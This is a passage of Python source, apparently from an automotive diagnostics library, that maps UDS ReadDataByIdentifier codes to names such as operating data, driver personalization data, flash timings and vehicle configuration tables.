"afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ed] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ee] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ef] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f0] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f1] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f2] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f3] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f4] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f5] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f6] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f7] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f8] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22f9] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fa] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fb] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fc] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fd] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22fe] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x22ff] = "afterSalesServiceData_2200_22FF" UDS_RDBI.dataIdentifiers[0x2300] = "operatingData" # or RDBCI_BETRIEBSDATEN_LESEN_REQ # noqa E501 UDS_RDBI.dataIdentifiers[0x2301] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2302] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2303] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2304] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2305] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2306] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2307] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2308] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2309] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x230f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2310] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2311] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2312] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2313] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2314] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2315] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2316] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2317] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2318] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2319] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x231f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2320] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2321] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2322] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2323] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2324] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2325] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2326] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2327] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2328] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2329] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x232f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2330] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2331] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2332] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2333] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2334] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2335] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2336] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2337] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2338] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2339] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x233f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2340] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2341] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2342] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2343] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2344] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2345] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2346] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2347] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2348] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2349] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x234f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2350] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2351] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2352] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2353] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2354] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2355] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2356] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2357] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2358] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2359] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x235f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2360] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2361] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2362] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2363] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2364] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2365] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2366] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2367] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2368] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2369] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x236f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2370] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2371] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2372] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2373] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2374] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2375] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2376] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2377] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2378] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2379] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x237f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2380] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2381] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2382] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2383] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2384] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2385] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2386] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2387] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2388] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2389] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x238f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2390] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2391] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2392] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2393] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2394] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2395] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2396] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2397] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2398] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2399] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239a] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239b] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239c] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239d] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239e] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x239f] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23a9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23aa] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ab] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ac] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ad] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ae] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23af] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23b9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ba] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23be] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23bf] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23c9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ca] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ce] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23cf] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23d9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23da] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23db] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23dc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23dd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23de] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23df] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23e9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ea] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23eb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ec] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ed] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ee] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ef] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f0] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f1] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f2] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f3] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f4] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f5] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f6] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f7] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f8] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23f9] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fa] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fb] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fc] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fd] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23fe] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x23ff] = "additionalOperatingData 2301-23FF" UDS_RDBI.dataIdentifiers[0x2400] = "personalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2401] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2402] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2403] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2404] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2405] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2406] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2407] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2408] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2409] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240a] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240b] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240c] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240d] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240e] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x240f] = "additionalpersonalizationDataDriver0" UDS_RDBI.dataIdentifiers[0x2410] = "personalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2411] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2412] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2413] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2414] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2415] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2416] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2417] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2418] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2419] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241a] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241b] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241c] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241d] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241e] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x241f] = "additionalPersonalizationDataDriver1" UDS_RDBI.dataIdentifiers[0x2420] = "personalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2421] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2422] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2423] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2424] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2425] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2426] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2427] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2428] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2429] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242a] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242b] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242c] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242d] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242e] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x242f] = "additionalpersonalizationDataDriver2" UDS_RDBI.dataIdentifiers[0x2430] = "personalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2431] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2432] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2433] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2434] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2435] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2436] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2437] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2438] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2439] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243a] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243b] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243c] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243d] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243e] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x243f] = "additionalPersonalizationDataDriver3" UDS_RDBI.dataIdentifiers[0x2500] = "programmReferenzBackup/vehicleManufacturerECUHW_NrBackup" # noqa E501 UDS_RDBI.dataIdentifiers[0x2501] = "MemorySegmentationTable" UDS_RDBI.dataIdentifiers[0x2502] = "ProgrammingCounter" UDS_RDBI.dataIdentifiers[0x2503] = "ProgrammingCounterMax" UDS_RDBI.dataIdentifiers[0x2504] = "FlashTimings" UDS_RDBI.dataIdentifiers[0x2505] = "MaxBlocklength" UDS_RDBI.dataIdentifiers[0x2506] = "ReadMemoryAddress" # or maximaleBlockLaenge # noqa E501 UDS_RDBI.dataIdentifiers[0x2507] = "EcuSupportsDeleteSwe" UDS_RDBI.dataIdentifiers[0x2508] = "GWRoutingStatus" UDS_RDBI.dataIdentifiers[0x2509] = "RoutingTable" UDS_RDBI.dataIdentifiers[0x2530] = "SubnetStatus" UDS_RDBI.dataIdentifiers[0x2541] = "STATUS_CALCVN" UDS_RDBI.dataIdentifiers[0x3000] = "RDBI_CD_REQ" # or WDBI_CD_REQ UDS_RDBI.dataIdentifiers[0x300a] = "Codier-VIN" UDS_RDBI.dataIdentifiers[0x37fe] = "Codierpruefstempel" UDS_RDBI.dataIdentifiers[0x3f00] = "SVT-Ist" UDS_RDBI.dataIdentifiers[0x3f01] = "SVT-Soll" UDS_RDBI.dataIdentifiers[0x3F02] = "VcmEcuListSecurity" UDS_RDBI.dataIdentifiers[0x3F03] = "VcmEcuListSwt" UDS_RDBI.dataIdentifiers[0x3F04] = "VcmNotificationTimeStamp" UDS_RDBI.dataIdentifiers[0x3F05] = "VcmSerialNumberReferenceList" UDS_RDBI.dataIdentifiers[0x3F06] = "VcmVehicleOrder" UDS_RDBI.dataIdentifiers[0x3F07] = "VcmEcuListAll" UDS_RDBI.dataIdentifiers[0x3F08] = "VcmEcuListActiveResponse" UDS_RDBI.dataIdentifiers[0x3F09] = 